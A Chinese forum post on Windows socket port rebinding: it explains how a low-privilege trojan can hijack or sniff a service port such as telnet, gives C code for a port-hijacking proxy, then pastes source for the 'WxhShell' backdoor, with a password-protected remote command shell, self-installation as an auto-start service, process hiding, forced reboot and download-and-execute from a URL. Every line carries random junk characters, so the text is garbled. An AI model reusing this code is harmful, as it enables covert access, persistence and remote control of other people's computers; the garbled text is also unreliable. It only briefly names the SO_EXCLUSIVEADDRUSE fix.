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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "$@Wy,yp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;";#{B:  
&_1Ivaen6  
  saddr.sin_family = AF_INET; J ~"h&>T  
klUW_d-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G; onJ>  
{y>o6OTITR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); # Vq"Cf  
N51g<K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZJZKCdT@  
7QnQ=gu  
  这意味着什么?意味着可以进行如下的攻击: Y\Grf$e  
Zo12F**{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n91@{U)QJ3  
FF}A_ZFY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y?r:`n  
f\/'Fy0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 et-<ib<lY  
e [}m@a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i wFI lJ@  
z]\CI:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4Iq-4IG(  
QP%*`t?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >}?4;:.=  
ea\b7a*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cD!y d^QE  
<D1>;C  
  #include `3QAXDWE  
  #include d^.@~  
  #include <}vult^  
  #include    Uiz#QGt  
  DWORD WINAPI ClientThread(LPVOID lpParam);    Ie<`WU K  
  int main() q ad`muAd  
  { 1vmK  d  
  WORD wVersionRequested; Gv$}>YJ  
  DWORD ret; wv6rjg:7  
  WSADATA wsaData; R, J(]ew  
  BOOL val; u#>*"4Q  
  SOCKADDR_IN saddr; bq}hj Cy  
  SOCKADDR_IN scaddr; @71n{9  
  int err; Wu\szI"  
  SOCKET s; LY? `+/  
  SOCKET sc; qFpRY7eq  
  int caddsize; -$Ad#Eu]M  
  HANDLE mt; A=+ |&+? t  
  DWORD tid;   r\x"nS  
  wVersionRequested = MAKEWORD( 2, 2 ); :RqTbE4B  
  err = WSAStartup( wVersionRequested, &wsaData ); 1638U 1  
  if ( err != 0 ) { +)cjW"9  
  printf("error!WSAStartup failed!\n"); XoO#{7a  
  return -1; "y5LojdCs  
  } zdh&,!] F6  
  saddr.sin_family = AF_INET; cc %m0p  
   lZI?k=rWv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `1Cg)\&[e0  
- wizUp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); = MP?aH [  
  saddr.sin_port = htons(23); 2X@| H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6(9S'~*'R  
  { x U1](O  
  printf("error!socket failed!\n"); lls-Nir%  
  return -1; #$ Q2ijT0  
  } YgFmJ.1  
  val = TRUE; At?]FjL6S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `RriVYc<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x KZLXQ'e-  
  { Uql|32j  
  printf("error!setsockopt failed!\n"); ohod)8  
  return -1; ( \ \BsK  
  } {imz1g;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "G+g(?N]j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M y vyp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X`n)]~  
uq~Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pm.Zc'23  
  { ]3%( '8/  
  ret=GetLastError(); >&mNC \PA  
  printf("error!bind failed!\n"); <x^Ab#K"  
  return -1; n*Q~<`T  
  } 42{\u08Z  
  listen(s,2); 1%R8q=_  
  while(1) zlw+=NX  
  { Wvg+5Q  
  caddsize = sizeof(scaddr); &:3uK`  
  //接受连接请求 L T.u<ThR}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,y'E#_cTgQ  
  if(sc!=INVALID_SOCKET) M`~UH\  
  { [nx OGa2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C }= *%S  
  if(mt==NULL) VD,p<u{r  
  { Tgf#I*(^]  
  printf("Thread Creat Failed!\n"); YoT< ]'  
  break; h !yu. v  
  } 9;L5#/E  
  } %+=y!  
  CloseHandle(mt); V5ySOgzw,  
  } A$H;2T5N  
  closesocket(s); Vg>\@ C .s  
  WSACleanup(); a (mgz&*  
  return 0; ^~iFG+g5  
  }   sghQ!ux  
  DWORD WINAPI ClientThread(LPVOID lpParam) i$[wkQ>$  
  { "$lE~d">  
  SOCKET ss = (SOCKET)lpParam; ]WO0v`xh  
  SOCKET sc; y,.X5#rnX*  
  unsigned char buf[4096]; .w.jT"uD!  
  SOCKADDR_IN saddr; x3`b5^  
  long num; gq'}LcV  
  DWORD val; ~$bkWb*RJ  
  DWORD ret; <fZ?F=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %ja8DRQ.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ? bq S{KF  
  saddr.sin_family = AF_INET; -Tzp;o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B*zR/?U^  
  saddr.sin_port = htons(23); g}vOp3 ^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s%{8$> 8V.  
  { sM4Qu./  
  printf("error!socket failed!\n"); <8JV`dTywC  
  return -1; &7}\mnhB  
  } 6<uJ}3  
  val = 100; ^"U-\cx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w`N|e0G@  
  { D)]U+Qk  
  ret = GetLastError(); N`G* h^YQ  
  return -1; -$@$  
  } d-W@/J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `YK2hr  
  { [32]wgw+{1  
  ret = GetLastError(); FR7DuH/f)  
  return -1; l[MP|m#  
  } 6 aE:v R2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qHGwD20 ~  
  { D.Q9fa&P  
  printf("error!socket connect failed!\n"); !zu YO3:  
  closesocket(sc); 86bRfW'  
  closesocket(ss); \o&\r)FX  
  return -1;  ]\qbe  
  } MR) *Xh  
  while(1) (P+TOu-y\  
  { H/rJ:3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vxey $Ir  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _RTJEG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WDM^rjA|j  
  num = recv(ss,buf,4096,0); <l:c O$ m  
  if(num>0) d4 Hpe>  
  send(sc,buf,num,0); d){o#@  
  else if(num==0) JGJy_.C  
  break; \!+#9sq0  
  num = recv(sc,buf,4096,0); p4Wy2.&Q  
  if(num>0) G$eA(GE   
  send(ss,buf,num,0); 'e/= !"T  
  else if(num==0) F+c4v A})  
  break; @hb K  
  } 1TOT}h5  
  closesocket(ss); ( <Abw{BTm  
  closesocket(sc); A;06Zrf1  
  return 0 ; +9tm9<F8  
  } ^|P/D  
']x`d  
<kmH^ viX  
========================================================== F*0rpQ,*  
z-J?x-<  
下边附上一个代码,,WXhSHELL }.L\O]~{  
ib-)T7V`  
========================================================== ^#V7\;v$G  
Fm|h3.`V  
#include "stdafx.h" [myIcLp^aP  
[}GPo0GY  
#include <stdio.h> ^L,Uz:[J  
#include <string.h> wT taj08D  
#include <windows.h> 0bcbH9) 1q  
#include <winsock2.h> u>K(m))5W3  
#include <winsvc.h> ?k}"g$JFn  
#include <urlmon.h> jNC@b>E?~  
;PA^.RB  
#pragma comment (lib, "Ws2_32.lib") 4GL-3e  
#pragma comment (lib, "urlmon.lib") 5C G ,l  
d:_3V rRZ  
#define MAX_USER   100 // 最大客户端连接数 S, *  
#define BUF_SOCK   200 // sock buffer BJL*Dih m[  
#define KEY_BUFF   255 // 输入 buffer A_ftf 7,  
4D4Y.g_x  
#define REBOOT     0   // 重启 TA~FP#.  
#define SHUTDOWN   1   // 关机 #guq/g$  
H[u[3  
#define DEF_PORT   5000 // 监听端口 D2@J4;UW*W  
l_1y#B-k5  
#define REG_LEN     16   // 注册表键长度 x =7qC#+)  
#define SVC_LEN     80   // NT服务名长度 *%(BE*C}  
1Fs:&*=  
// 从dll定义API '1Z3MjX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0o>l+c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zDD1EycH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @j{n V@|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); in[yrqFb7t  
vz *'1ugaA  
// wxhshell配置信息 HXg#iP^tv  
struct WSCFG { Or2J  
  int ws_port;         // 监听端口 "L)=Y7Dx  
  char ws_passstr[REG_LEN]; // 口令 k/`WfSM\.  
  int ws_autoins;       // 安装标记, 1=yes 0=no gWK NC  
  char ws_regname[REG_LEN]; // 注册表键名 Rr!oT?6J?  
  char ws_svcname[REG_LEN]; // 服务名 DEFh&n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,5 ylrE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 03$lgDQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?%]?#4bkc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W3h{5\d!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Q}pmBkqB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -:P`Rln  
,RYahu  
}; $&@etsW0/  
[? 1m6u;  
// default Wxhshell configuration vrr` ^UB2  
struct WSCFG wscfg={DEF_PORT, XVRtfo  
    "xuhuanlingzhe", l`' lqnhv  
    1, N =0R6{'  
    "Wxhshell", _XP3|E;I/  
    "Wxhshell", |E7)s;}D  
            "WxhShell Service", %(v<aEQtt  
    "Wrsky Windows CmdShell Service", K]0K/~>8  
    "Please Input Your Password: ", z"*$ .  
  1, U*R  
  "http://www.wrsky.com/wxhshell.exe", &l| :1  
  "Wxhshell.exe" -AX[vTB  
    }; E~| XY9U36  
Do\YPo_Mr  
// 消息定义模块 Q =!f,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'aAay*1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MV,;l94?%=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *]uj0@S  
char *msg_ws_ext="\n\rExit."; EvJ"%:bp  
char *msg_ws_end="\n\rQuit."; {z j<nu  
char *msg_ws_boot="\n\rReboot..."; >8>}o4Q/X  
char *msg_ws_poff="\n\rShutdown..."; HHMv%H]M  
char *msg_ws_down="\n\rSave to "; w-3 B~e  
DdG*eKC  
char *msg_ws_err="\n\rErr!"; H{4/~Z  
char *msg_ws_ok="\n\rOK!"; UB7H`)C}  
?\J.Tv $$$  
char ExeFile[MAX_PATH]; _;x7vRWmN  
int nUser = 0; H>/LC* 8-  
HANDLE handles[MAX_USER]; &8^1:CcE  
int OsIsNt; 4t<l9Ilp  
-1P*4H2a  
SERVICE_STATUS       serviceStatus; [L+VvO%cT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U if61)+!i  
e52y}'L  
// 函数声明 ::Nhs/B/  
int Install(void); Jjgy;*hM  
int Uninstall(void); /t<C_lLM  
int DownloadFile(char *sURL, SOCKET wsh); 3"pl="[*  
int Boot(int flag); (XDK&]U  
void HideProc(void); =C[2"Y4JK0  
int GetOsVer(void); Ub%sw&QG(9  
int Wxhshell(SOCKET wsl); .!&S{;Vv?W  
void TalkWithClient(void *cs); HR> X@g<c  
int CmdShell(SOCKET sock);  XM" {"  
int StartFromService(void); fsxZQ=-PW  
int StartWxhshell(LPSTR lpCmdLine); '+Gy)@c  
nnm9pnx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =%Yw;% 0)Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \;%DDw  
YV 5kzq  
// 数据结构和表定义 !_|rVg.  
SERVICE_TABLE_ENTRY DispatchTable[] = U'8ub(:&  
{ DwL4?!E  
{wscfg.ws_svcname, NTServiceMain}, p 7YfOUo k  
{NULL, NULL} YyZ>w2_MTi  
}; /h!Y/\kI  
f4k\hUA  
// 自我安装 -}W `  
int Install(void) '[6o(~ *  
{  xlH?J;$  
  char svExeFile[MAX_PATH]; %](H?'H  
  HKEY key; ` iiZ  
  strcpy(svExeFile,ExeFile); &>Ko}?w  
VgSk\:t  
// 如果是win9x系统,修改注册表设为自启动 DsY$  
if(!OsIsNt) { bLHj<AX#>|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JmR) g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;{Sgv^A  
  RegCloseKey(key); y.LJ 5K$&a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A|D]e)/6+B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 77Fpb?0`  
  RegCloseKey(key); <Rl:=(]i~  
  return 0; P0En&g+~  
    } nn"Wn2ciS  
  } jmAQ!y|W.  
} 3gn) q>Xj$  
else { QqC4g]  
f.o,VVYi  
// 如果是NT以上系统,安装为系统服务 wlh V!a0>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .o2]ndT/J  
if (schSCManager!=0) nVTCbV  
{ ww]^H$In  
  SC_HANDLE schService = CreateService g36\%L  
  ( f4s^$Q{Q  
  schSCManager, fCMH<}w  
  wscfg.ws_svcname, g* NKY`,  
  wscfg.ws_svcdisp, A-GRuC  
  SERVICE_ALL_ACCESS, \qrSJ=}t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9\/T #EP  
  SERVICE_AUTO_START, _Gf.1Bsf@S  
  SERVICE_ERROR_NORMAL, x=>+.'K  
  svExeFile, 3q>6gaTv  
  NULL, 7I6bZ;}d  
  NULL, 6;lJs,I1w{  
  NULL, *|f&a  
  NULL, RsYn6ozb  
  NULL j;tT SNF  
  ); LWB"}#vt  
  if (schService!=0) %0PdN@I  
  { i4Y_5  
  CloseServiceHandle(schService); r|XNS>V ,$  
  CloseServiceHandle(schSCManager); 1`tE Hu.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uhuwQS=X  
  strcat(svExeFile,wscfg.ws_svcname); 'JBf*p".  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wp!<u %  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 1= ?(Iw  
  RegCloseKey(key); %"Y7 b2pPa  
  return 0; ~HwY?[}!m  
    } CjzfU*G  
  } 8 oHyNo  
  CloseServiceHandle(schSCManager); 7L[HtwI  
} OXC7 m  
} y(K?mtQ   
JM#jg-z,~  
return 1; J~5VL |ca  
} ^|6%~jkD5  
 8@)/a  
// 自我卸载 $X %GzrN  
int Uninstall(void) J?XEF@?'G  
{  `x"0  
  HKEY key; Mj&f7IUO  
@L%9NqE`O  
if(!OsIsNt) { H( `^1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D<[4}og&]  
  RegDeleteValue(key,wscfg.ws_regname); V8>%$O sw  
  RegCloseKey(key); bA-=au?o5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.g'8#@  
  RegDeleteValue(key,wscfg.ws_regname); DRD%pm(  
  RegCloseKey(key); Dg]ua5jk  
  return 0; `zHtfox!  
  } ;p"G<n  
} uG\ +`[-{0  
} ZpPm>|w  
else { im^G{3z  
,TD@s$2x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Au78Yom  
if (schSCManager!=0) XljiK8q;%  
{ vN%zk(?T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VdR5ZP  
  if (schService!=0) ,MwwA@,9-  
  { :N#gNtC)b  
  if(DeleteService(schService)!=0) { 3OV#H%  
  CloseServiceHandle(schService); 8#S|j BV  
  CloseServiceHandle(schSCManager); B`a5%asJn  
  return 0; EI2V<v  
  } + )?1F  
  CloseServiceHandle(schService); 4YkH;!M>ji  
  } /4j'?hB<g  
  CloseServiceHandle(schSCManager); mq~7v1kw  
} w}<BO> z  
} yqqP7  
8^;[c  
return 1; wH[@#UP3l  
} .eW}@1+[;  
AFL*a*  
// 从指定url下载文件 $O&P@8:Z  
int DownloadFile(char *sURL, SOCKET wsh) eJ>(SkR:[  
{ 38 Lc|w  
  HRESULT hr; lyKV^7}  
char seps[]= "/"; H"d.yZM0  
char *token; "8VCXD  
char *file; l%lkDh!$"  
char myURL[MAX_PATH]; ,T_HE3K  
char myFILE[MAX_PATH]; R{kZKD=  
4xU[oaa  
strcpy(myURL,sURL); L #p-AK  
  token=strtok(myURL,seps); i NzoDmE*  
  while(token!=NULL) @! ^c@  
  { L~Epd.,Dt  
    file=token; V{;Mh u`+  
  token=strtok(NULL,seps); ?stx3sZ  
  } R3wK@D  
4p&qH igG  
GetCurrentDirectory(MAX_PATH,myFILE); ;JA2n\iP,  
strcat(myFILE, "\\"); sN 1x|pkN  
strcat(myFILE, file); ~\}%6W[2  
  send(wsh,myFILE,strlen(myFILE),0); J@(=#z8xS  
send(wsh,"...",3,0); Jg3}U j2By  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /s uz>o\  
  if(hr==S_OK) +ww paR`  
return 0; ;%odN d  
else H:4r6-{  
return 1; |HI =ykfI  
E}mnGe  
} A1Mr  
lQ!ukl)  
// 系统电源模块  gvYa&N  
int Boot(int flag) EU TTeFp  
{ S *?'y  
  HANDLE hToken; ;o_4)+}  
  TOKEN_PRIVILEGES tkp; {%^q8l4j  
`;*%5WD%  
  if(OsIsNt) { _sbZyL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -#j-Zo+<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KQaw*T[Q3w  
    tkp.PrivilegeCount = 1; SC74r?N FA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6GMQgTY^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5W>i'6*  
if(flag==REBOOT) { jY$Bns&.w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ mhP:O  
  return 0; 5G'X\iR  
} p82&X+v/p  
else { 7&/iuP$.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZGSb&!Ke  
  return 0; + B%fp*  
} ko@I]gi2  
  } nORm7sa9  
  else { 8<Asg2]6  
if(flag==REBOOT) { "X's>uM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F'*y2FC  
  return 0; Y b]eWLv  
} 4&!`Yi_1L  
else { x,@cU}D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5'?K(Jdmp  
  return 0; jl{>>TW{x  
} :R{Xd{?  
} %L:e~*  
?lnX."eAdB  
return 1; o>311(:  
} zK(9k0+s  
YU9xANi6  
// win9x进程隐藏模块 F4M<5Yi  
void HideProc(void) +IK~a9t  
{ \'&:6\-fw  
;<Oe\X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F +D2 xN@  
  if ( hKernel != NULL ) $L)9'X   
  { ~#h@.yW^JN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BR8z%R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -1Yt3M&  
    FreeLibrary(hKernel); `S2YBKz,1  
  } vY7C!O/y_k  
J )oa:Q  
return; i d\0yRBt  
} s+2\uMwf*  
3cBuqQ  
// 获取操作系统版本 ,oT?-PC$z  
int GetOsVer(void) q*{i/=~  
{ 4pJOJ!?  
  OSVERSIONINFO winfo; 67+ K ?!,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1 ?]Gl+}  
  GetVersionEx(&winfo); ?=dyU(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4};iL)  
  return 1; X4!` V?  
  else q@~N?$>  
  return 0; K I  
} yeFt0\=H  
/i"vEI  
// 客户端句柄模块 +M$2:[xRT  
int Wxhshell(SOCKET wsl) @OZW1p  
{ p ~J`}>yo  
  SOCKET wsh; HTao)`.  
  struct sockaddr_in client; !`hiXDk*2  
  DWORD myID; nmn$$=~)  
>:4}OylhM  
  while(nUser<MAX_USER) 12gcma}  
{ x/ {  
  int nSize=sizeof(client); \om$%FUP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { xi$'r  
  if(wsh==INVALID_SOCKET) return 1; 0R\lm<&  
n7i;^=9 mM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uhSRl~tn  
if(handles[nUser]==0) [?r`8K2!,  
  closesocket(wsh); @QV|<NeH  
else JBtcl# |  
  nUser++; F8$.K*tT  
  } AH{]tE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P#\L6EO.  
r"x|]nvg^  
  return 0; wQgW9546  
} N&K:Jp  
~'m GGH2  
// 关闭 socket !e*Q2H+  
void CloseIt(SOCKET wsh) 3+@p  
{ |GM?4'2M.  
closesocket(wsh); |G&<@8O  
nUser--; x* *]@v"g  
ExitThread(0); {"S"V  
} lZ.x@hDS  
aFjcyD  
// 客户端请求句柄  Iz*'  
void TalkWithClient(void *cs) 6T! *YrS  
{ cq>{  
Vcz ExP  
  SOCKET wsh=(SOCKET)cs; f]L`^WU  
  char pwd[SVC_LEN]; U']DB h  
  char cmd[KEY_BUFF]; -^]8w QU  
char chr[1]; 4G"T{A`O  
int i,j; 5+].$  
>&6pBtC_  
  while (nUser < MAX_USER) { lM`M70~  
HhDiGzOSi  
if(wscfg.ws_passstr) { [g`9C!P-G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~B;kFdcVXn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6*8"?S'  
  //ZeroMemory(pwd,KEY_BUFF); NNLZ38BV7  
      i=0; hNgbHzW  
  while(i<SVC_LEN) { 3/>T/To&2  
Y f:xM>.%  
  // 设置超时 PeGA+0bm  
  fd_set FdRead; j&,,~AZm  
  struct timeval TimeOut; dP63bV  
  FD_ZERO(&FdRead); ^BIB'/Kh)  
  FD_SET(wsh,&FdRead); Q]]}8l2  
  TimeOut.tv_sec=8; 3>Y G  
  TimeOut.tv_usec=0; R_ymTB}<t(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & 9}L +/,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /tR@J8pV  
mz$)80ly  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &6<>hqR^  
  pwd=chr[0]; *@/1]W  
  if(chr[0]==0xd || chr[0]==0xa) { nJ'FH['  
  pwd=0; !)gTS5Rh:  
  break; cK4Q! l6O  
  } 0t[|3A~Q  
  i++; @yiAi:v@  
    } Z^ynw8k"  
%EkV-%o*  
  // 如果是非法用户,关闭 socket .|W0B+Z8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v zgR3r  
} q-gp;Fm  
Pu/X_D-#Gi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8 g0By;h;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YHBH9E/B  
x&}pM}ea  
while(1) { ln4gkm<]t  
uc;1{[5`1q  
  ZeroMemory(cmd,KEY_BUFF); F]o&m::/K  
'-C%?*ku  
      // 自动支持客户端 telnet标准   Wy1#K)LRb  
  j=0; qQK0s*^W  
  while(j<KEY_BUFF) { XgRrJ.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mp]}-bR)  
  cmd[j]=chr[0]; eaLR-+vEB  
  if(chr[0]==0xa || chr[0]==0xd) { ffyDi1Q  
  cmd[j]=0; Mbbgsy3W  
  break; |dNJx<-  
  } tuH8!.  
  j++; #9{N[t  
    } UQ]WBS\  
aY`qbJy  
  // 下载文件 Nl"Xl?y}  
  if(strstr(cmd,"http://")) { Ja1[vO"YgP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p5F=?*[}  
  if(DownloadFile(cmd,wsh)) obA}SF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mL\_C9k,n  
  else _cPGS=Ew  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G bW1Lq&"  
  } JF{yhx,+ p  
  else { 2cv!85  
7b>FqW)%  
    switch(cmd[0]) { /mS|Byx  
  )v\zaz  
  // 帮助 2AYV9egZ  
  case '?': { 4wLN#dpeEy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o8<0#W@S  
    break; w5/`_m!  
  } ^(}D  
  // 安装 Vo1,{"k  
  case 'i': { RP!!6A6:  
    if(Install()) JSXJlau  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cV;<!f+  
    else ~H<oqk:O-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j:|um&`)  
    break; (L`7-6e(Ab  
    } C:r@)Mhq  
  // 卸载 j?c"BF.  
  case 'r': { 5hxG\f#}?  
    if(Uninstall()) l]g /rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x}^ :Bs+j  
    else @*Y"[\"$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nK!yu?mS  
    break; dUt$kB  
    } J\06j%d,  
  // 显示 wxhshell 所在路径 V(gmC%6%l*  
  case 'p': { seQSDCsvw*  
    char svExeFile[MAX_PATH]; C0f<xhp?j  
    strcpy(svExeFile,"\n\r"); Np2I*l6W  
      strcat(svExeFile,ExeFile); CBkI! In2  
        send(wsh,svExeFile,strlen(svExeFile),0); y nue;*rM  
    break; .Iu8bN(L`  
    } %-nYK3  
  // 重启 F.rNh`44  
  case 'b': { 7d m:L'0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wOMrUWB0  
    if(Boot(REBOOT)) dnwTD\),  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul@swp  
    else { 0 _n Pq  
    closesocket(wsh); 54lU~ "  
    ExitThread(0); Ux/|D_rlf  
    } L'Yg$9Vz  
    break; 24g\x Nnt  
    } :eH*biXy}2  
  // 关机 '3i,^g0?t0  
